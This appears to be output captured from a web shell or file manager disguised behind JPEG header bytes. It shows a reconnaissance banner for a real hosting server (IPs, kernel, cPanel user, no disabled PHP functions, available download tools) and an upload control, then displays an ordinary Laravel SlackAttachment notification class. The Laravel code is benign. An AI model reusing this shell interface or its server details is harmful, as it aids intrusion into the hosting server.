����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.191.205.60 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/laravel/slack-notification-channel/src/Messages/ |
Upload File : |
<?php namespace Illuminate\Notifications\Messages; use Illuminate\Support\InteractsWithTime; class SlackAttachment { use InteractsWithTime; /** * The attachment's title. * * @var string */ public $title; /** * The attachment's URL. * * @var string */ public $url; /** * The attachment's pretext. * * @var string */ public $pretext; /** * The attachment's text content. * * @var string */ public $content; /** * A plain-text summary of the attachment. * * @var string */ public $fallback; /** * The attachment's color. * * @var string */ public $color; /** * The attachment's fields. * * @var array */ public $fields; /** * The fields containing markdown. * * @var array */ public $markdown; /** * The attachment's image url. * * @var string */ public $imageUrl; /** * The attachment's thumb url. * * @var string */ public $thumbUrl; /** * The attachment's actions. * * @var array */ public $actions = []; /** * The attachment author's name. * * @var string */ public $authorName; /** * The attachment author's link. * * @var string */ public $authorLink; /** * The attachment author's icon. * * @var string */ public $authorIcon; /** * The attachment's footer. * * @var string */ public $footer; /** * The attachment's footer icon. * * @var string */ public $footerIcon; /** * The attachment's timestamp. * * @var int */ public $timestamp; /** * The attachment's callback ID. * * @var int */ public $callbackId; /** * Set the title of the attachment. * * @param string $title * @param string|null $url * @return $this */ public function title($title, $url = null) { $this->title = $title; $this->url = $url; return $this; } /** * Set the pretext of the attachment. * * @param string $pretext * @return $this */ public function pretext($pretext) { $this->pretext = $pretext; return $this; } /** * Set the content (text) of the attachment. * * @param string $content * @return $this */ public function content($content) { $this->content = $content; return $this; } /** * A plain-text summary of the attachment. * * @param string $fallback * @return $this */ public function fallback($fallback) { $this->fallback = $fallback; return $this; } /** * Set the color of the attachment. * * @param string $color * @return $this */ public function color($color) { $this->color = $color; return $this; } /** * Add a field to the attachment. * * @param \Closure|string $title * @param string $content * @return $this */ public function field($title, $content = '') { if (is_callable($title)) { $callback = $title; $callback($attachmentField = new SlackAttachmentField); $this->fields[] = $attachmentField; return $this; } $this->fields[$title] = $content; return $this; } /** * Set the fields of the attachment. * * @param array $fields * @return $this */ public function fields(array $fields) { $this->fields = $fields; return $this; } /** * Set the fields containing markdown. * * @param array $fields * @return $this */ public function markdown(array $fields) { $this->markdown = $fields; return $this; } /** * Set the image URL. * * @param string $url * @return $this */ public function image($url) { $this->imageUrl = $url; return $this; } /** * Set the URL to the attachment thumbnail. * * @param string $url * @return $this */ public function thumb($url) { $this->thumbUrl = $url; return $this; } /** * Add an action (button) under the attachment. * * @param string $title * @param string $url * @param string $style * @return $this */ public function action($title, $url, $style = '') { $this->actions[] = [ 'type' => 'button', 'text' => $title, 'url' => $url, 'style' => $style, ]; return $this; } /** * Set the author of the attachment. * * @param string $name * @param string|null $link * @param string|null $icon * @return $this */ public function author($name, $link = null, $icon = null) { $this->authorName = $name; $this->authorLink = $link; $this->authorIcon = $icon; return $this; } /** * Set the footer content. * * @param string $footer * @return $this */ public function footer($footer) { $this->footer = $footer; return $this; } /** * Set the footer icon. * * @param string $icon * @return $this */ public function footerIcon($icon) { $this->footerIcon = $icon; return $this; } /** * Set the timestamp a DateTimeInterface, DateInterval, or the number of seconds that should be added to the current time. * * @param \DateTimeInterface|\DateInterval|int $timestamp * @return $this */ public function timestamp($timestamp) { $this->timestamp = $this->availableAt($timestamp); return $this; } /** * Set the callback ID. * * @param string $callbackId * @return $this */ public function callbackId($callbackId) { $this->callbackId = $callbackId; return $this; } }